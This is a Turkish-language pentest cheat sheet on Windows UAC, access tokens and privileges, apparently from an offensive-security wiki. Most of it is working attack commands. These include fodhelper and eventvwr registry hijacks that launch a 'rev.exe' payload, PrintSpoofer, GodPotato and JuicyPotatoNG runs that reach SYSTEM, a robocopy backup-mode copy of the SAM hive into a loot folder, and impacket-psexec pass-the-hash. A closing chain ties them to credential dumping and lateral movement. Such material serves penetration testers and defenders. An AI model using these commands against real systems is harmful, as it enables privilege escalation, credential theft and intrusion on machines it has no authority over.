UAC, Tokens & Privileges
MITRE ATT&CK · T1548.002 phase: privilege-escalation
Windows güvenlik modeli kullanıcı adından çok access token, integrity level ve privilege bitlerine dayanır. UAC, Administrators üyesini medium IL + filtered token ile çalıştırır; high IL (elevated) ayrı bir linked token’dır. Potato ailesi belirli privilege’lerle SYSTEM token çalar.
Token anatomisi
Section titled “Token anatomisi”whoami /allwhoami /privwhoami /groups | findstr /i "Label"User/Group SID + privilege bitleriIntegrity: Untrusted / Low / Medium / High / SystemElevation: Default / Full / Limited (linked token)Integrity levels (pratik)
Section titled “Integrity levels (pratik)”Low → sandbox / Protected ModeMedium → standart kullanıcı veya filtered adminHigh → elevated admin (UAC onaylı)System → LocalSystem / potato sonrasıMedium IL admin birçok HKLM yazma ve LSASS erişimini başaramaz; önce UAC
bypass veya elevation gerekir.
UAC davranışları
Section titled “UAC davranışları”reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\SystemEnableLUA → UAC açık/kapalıConsentPromptBehaviorAdminPromptOnSecureDesktopFilterAdministratorToken → built-in Administrator filtresiLocalAccountTokenFilterPolicy → remote UAC (PtH remote admin)reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUAreg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicyLocalAccountTokenFilterPolicy=1 veya built-in Administrator ile uzaktan
admin paylaşımları (C$) filtered UAC olmadan açılabilir — yanal hareket için kritik.
Linked token ve elevation
Section titled “Linked token ve elevation”Administrators üyesinde logon sırasında iki token oluşur: filtered (medium) ve
linked elevated (high). runas / UI onay / auto-elevate binary linked token’ı
aktive eder.
whoami /groups | findstr /i Administrators# Elevated mi?net session 2>&1# High IL shell göstergesiwhoami /groups | findstr /i "High Mandatory"UAC bypass sınıfları (özet)
Section titled “UAC bypass sınıfları (özet)”Amaç: zaten local admin olan medium IL sürecinden high IL komut çalıştırmak. Standart kullanıcıyı admin yapmaz.
1) Auto-elevate binary + registry/COM hijack fodhelper.exe, eventvwr.exe, computerdefaults.exe, sdclt.exe...2) DLL hijack on elevated search path3) Elevated COM interface abuse4) Token duplication / SilentCleanup / env-based tricksfodhelper örneği (HKCU hijack — admin medium IL):
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /ve /d "C:\Users\Public\rev.exe" /freg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /ffodhelper.exereg delete "HKCU\Software\Classes\ms-settings" /feventvwr / msc hijack:
reg add "HKCU\Software\Classes\mscfile\shell\open\command" /ve /d "C:\Users\Public\rev.exe" /feventvwr.exeUAC · fodhelper payload
embedded toolreg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /ve /d "C:\Users\Public\rev.exe" /fArdından fodhelper.exe çalıştır; test sonrası reg delete ile temizle.
UAC · fodhelper payload
Section titled “UAC · fodhelper payload”EDR çoğu klasik hijack’i imzalar; ortamda hangi tekniğin yaşadığını doğrula.
Önemli privilege’ler
Section titled “Önemli privilege’ler”whoami /priv| Privilege | Saldırı kullanımı |
|---|---|
| SeImpersonatePrivilege | Potato / PrintSpoofer → SYSTEM |
| SeAssignPrimaryTokenPrivilege | Token atama / potato varyantları |
| SeDebugPrivilege | LSASS / süreç enjeksiyonu (admin) |
| SeBackupPrivilege / SeRestorePrivilege | ACL atlayarak dosya kopya / yazma |
| SeTakeOwnershipPrivilege | Nesne sahipliği alma |
| SeLoadDriverPrivilege | Vulnerable driver yükleme (BYOVD) |
| SeTcbPrivilege | Trusted Computer Base — çok güçlü |
Potato ailesi (token theft)
Section titled “Potato ailesi (token theft)”Servis hesabı / IIS / MSSQL bağlamında SeImpersonate sık açıktır.
whoami /priv | findstr /i Impersonate.\PrintSpoofer.exe -i -c "cmd /c whoami > C:\Users\Public\who.txt".\GodPotato.exe -cmd "powershell -nop -c whoami".\JuicyPotatoNG.exe -t * -p C:\Windows\System32\cmd.exe -a "/c whoami"Akış: privileged SYSTEM servisine auth isteği → pipe üzerinden impersonate → primary token → yeni süreç SYSTEM IL ile.
SeBackup / SeRestore ile dosya erişimi
Section titled “SeBackup / SeRestore ile dosya erişimi”whoami /priv | findstr /i Backuprobocopy C:\Windows\System32\config C:\Users\Public\loot SAM /BTam hive dump için genelde SYSTEM veya reg save gerekir; backup priv bazı
ACL duvarlarını aşar.
Remote UAC ve PtH
Section titled “Remote UAC ve PtH”LocalAccountTokenFilterPolicy = 0 (varsayılan non-RID500) → remote admin token filtered → C$ / SVCCTL kısıtlı olabilir= 1 veya built-in Administrator (RID 500) → remote full admin → secretsdump / PsExec kolayimpacket-psexec administrator@10.10.10.20 -hashes :NTHASHFiltre takılırsa local PE veya RID-500 / policy hedefi seç.
Metodoloji
Section titled “Metodoloji”-
whoami /all— grup, IL, privilege haritası. -
Medium IL + Administrators → UAC bypass veya meşru elevation yolu.
-
SeImpersonate / AssignPrimaryToken → potato / PrintSpoofer.
-
High IL / SYSTEM sonrası credential dumping.
-
Remote UAC policy’yi yanal hareket planına yaz.
Saldırı zinciri
Section titled “Saldırı zinciri”IIS SeImpersonate → PrintSpoofer → SYSTEM → SAM/LSALocal admin medium IL → fodhelper hijack → high IL → lateralPtH + LocalAccountTokenFilterPolicy=1 → remote secretsdumpSeBackupPrivilege → korumalı dosya kopya → offline parse